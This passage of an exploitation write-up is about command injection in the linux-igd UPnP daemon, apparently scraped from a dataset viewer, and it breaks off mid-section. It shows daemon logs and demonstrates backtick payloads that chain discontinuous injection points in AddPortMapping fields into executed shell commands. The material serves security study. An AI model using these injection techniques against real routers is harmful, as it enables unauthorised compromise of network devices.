text stringlengths 0 1.99k |
|---|
upnpd[1878]: Succesfully set the Web Server Root Directory. |
upnpd[1878]: Registering the root device with descDocUrl |
http://10.0.2.15:49152/gatedesc.xml |
upnpd[1878]: IGD root device successfully registered. |
upnpd[1878]: Advertisements Sent. Listening for requests ... |
upnpd[1878]: ActionName = AddPortMapping |
upnpd[1878]: appended 1 AAA BBBBB CCCCCCCCCCCCCCC DDDDD 1 |
upnpd[1878]: /sbin/iptables -t nat -I PREROUTING -i dummy0 -p AAA |
--dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD |
upnpd[1878]: /sbin/iptables -A FORWARD -p AAA -d CCCCCCCCCCCCCCC |
--dport DDDDD -j ACCEPT |
upnpd[1878]: ScheduleMappingExpiration: DevUDN: uuid:XXXXXXXX-XXXX-XXXX-XXX |
X-XXXXXXXXXXXX ServiceID: urn:upnp-org:serviceId:WANIPConn1 Proto: AAA |
ExtPort: BBBBB Int: CCCCCCCCCCCCCCC.DDDDD at: Mon Jan 1 00:00:00 1970 |
eventId: 0 |
upnpd[1878]: PortMappingNumberOfEntries: 1 |
upnpd[1878]: AddPortMap: DevUDN: uuid:XXXXXXXX-XXXX-XXXX-8e6c-XXXXXXXXXXXX |
ServiceID: urn:upnp-org:serviceId:WANIPConn1 RemoteHost: (null) Prot: AAA |
ExtPort: BBBBB Int: CCCCCCCCCCCCCCC.DDDDD |
upnpd[1878]: ExpireMapping: Proto:AAA Port:BBBBB |
upnpd[1878]: /sbin/iptables -t nat -D PREROUTING -i dummy0 -p AAA |
--dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD |
upnpd[1878]: [HIT 3] /sbin/iptables -D FORWARD -p AAA -d CCCCCCCCCCCCCCC |
--dport DDDDD -j ACCEPT |
upnpd[1878]: ExpireMapping: UpnpNotifyExt(deviceHandle,uuid:XXXXXXXX-XXXX-X |
XXX-XXXX-XXXXXXXXXXXX,urn:upnp-org:serviceId:WANIPConn1,propSet) |
PortMappingNumberOfEntries: 0 |
Please note that after the HTTP request was sent, four system commands were |
executed. For clarity, we will summarize them as follows, with the portions |
before the first injection point replaced by "U". |
$ U AAA --dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD |
$ U AAA -d CCCCCCCCCCCCCCC --dport DDDDD -j ACCEPT |
$ U AAA --dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD |
$ U AAA -d CCCCCCCCCCCCCCC --dport DDDDD -j ACCEPT |
It is evident that commands one and three are identical, as are commands |
two and four. To summarize, here are the commands that were executed once |
the request was processed by the service. |
$ U AAA --dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD |
$ U AAA -d CCCCCCCCCCCCCCC --dport DDDDD -j ACCEPT |
Now, the fun begins! |
--------------------------------------------------------------------------- |
--[ 5. Becoming a Bash Jiu Jitsu white belt |
Currently, it is possible to inject ourselves into two different commands |
at several locations within these commands. However, we must, overcome |
two problems. |
1. We control exactly 28 characters ("AAA", "BBBBB", "CCCCCCCCCCCCCCC", |
"DDDDD") in the first command and 23 in the second. |
2. Our injection points are discontinuous and there are elements (command |
options) between our different injection points. |
The backtick or backquote (`) in shell scripting is used for command |
substitution, where the shell executes the command inside the backticks |
and replaces the backtick expression with the output of the command. It |
is supported by many Unix-like shells, including sh (Bourne Shell), bash |
(Bourne Again Shell), ash (Almquist Shell) and dash (Debian Almquist |
Shell). |
+-------+----------------+------------------------------------------------+ |
| Shell | "`" Supported? | Version(s) Supporting Backquotes | |
+-------+----------------+------------------------------------------------+ |
| sh | Yes | All versions (all modern POSIX-compliant) | |
| bash | Yes | All versions (from 1.0 in 1989 to present) | |
| ash | Yes | All versions (since 1989, including BusyBox) | |
| dash | Yes | All versions (since 2001) | |
+-------+----------------+------------------------------------------------+ |
We will use this feature to remove the parts we don't need by using |
backquotes, which will (since these interpreted commands produce no output |
on stdout) concatenate our various injection points. |
$ U ;A` --dport `BBB` -j DNAT --to `CCCCCCCCCCCCC`:`DDDD |
... |
sh: --dport: command not found |
sh: -j: command not found |
sh: ABBBCCCCCCCCCCCCCDDDD: command not found |
$ U ;A` -d `CCCCCCCCCCCCC` --dport `DDDD -j ACCEPT |
... |
sh: -d: command not found |
sh: --dport: command not found |
sh: ACCCCCCCCCCCCCDDDD: command not found |
We observe that the command ABBBCCCCCCCCCCCCCDDDD (length 21) is executed, |
as well as the ACCCCCCCCCCCCCDDDD (length 18) command. You might say that |
using 21 characters (or 18) to exploit a command injection is simple enough |
to do with minimal effort. So let's make things a little more complex. |
--------------------------------------------------------------------------- |
--[ 6. Becoming a Bash Jiu Jitsu purple belt |
Some of the variants of linuxigd (linux-igd) you may come across, might |
implement security checks on specific values. For example, some of the most |
up-to-date variants, check the values of XML nodes, NewExternalPort and |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.